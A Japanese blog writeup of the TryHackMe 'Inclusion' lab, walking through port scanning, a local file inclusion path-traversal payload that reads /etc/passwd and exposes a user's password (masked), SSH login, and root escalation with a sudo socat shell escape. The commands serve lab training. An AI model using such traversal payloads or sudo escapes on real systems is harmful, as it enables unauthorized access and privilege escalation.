はまやんはまやんはまやん

hamayanhamayan's blog

Inclusion 解説 (Writeup) [TryHackMe]

f:id:hamayanhamayan:20210518211642p:plain

一部を■で隠しています。

第一段階:User Flagを得る

ポートスキャンとHTTPのスキャンをしてみよう。

$ export IP=[your IP]
$ nmap -sC -sV $IP
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Werkzeug httpd 0.16.0 (Python 3.6.9)
$ gobuster dir -e -u http://$IP -w /usr/share/dirb/wordlists/common.txt
(N/A)

ポート80のサイトを見てみようか。

ポート80

f:id:hamayanhamayan:20210518212735p:plain

サイトを巡回すると、すぐ/article?name=lfiattackがすでにアウトというか、ここでLFIできます状態になっている。
書いてある通り/article?name=../../../../etc/passwdを試すと、たくさんでてくる。

root:x:0:0:root:/root:/bin/bash
...
pollinate:x:109:1::/var/cache/pollinate:/bin/false
falconfeast:x:1000:1000:falconfeast,,,:/home/falconfeast:/bin/bash
#falconfeast:■■■■■■
sshd:x:110:65534::/run/sshd:/usr/sbin/nologin
mysql:x:111:116:MySQL Server,,,:/nonexistent:/bin/false

コメントでパスワードで書かれていた。これでログインしてみよう。

$ ssh falconfeast@$IP
falconfeast@inclusion:~$ ls
articles  user.txt
falconfeast@inclusion:~$ cat user.txt
■■■■■■■■■

よし。とりあえずユーザーフラグは手に入った。

第二段階:権限昇格

SUDOによる権限昇格を試してみよう。

falconfeast@inclusion:~$ sudo -l
Matching Defaults entries for falconfeast on inclusion:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User falconfeast may run the following commands on inclusion:
    (root) NOPASSWD: /usr/bin/socat

ふむ。GTFOBinsで探してみよう。

socat | GTFOBins

ありますね。これは使える。

falconfeast@inclusion:~$ sudo socat stdin exec:/bin/sh
id
uid=0(root) gid=0(root) groups=0(root)
cd /root
ls -la
-rw-r--r--  1 root root   21 Jan 22  2020 root.txt
cat root.txt
■■■■■■■■■■■

これでクリア。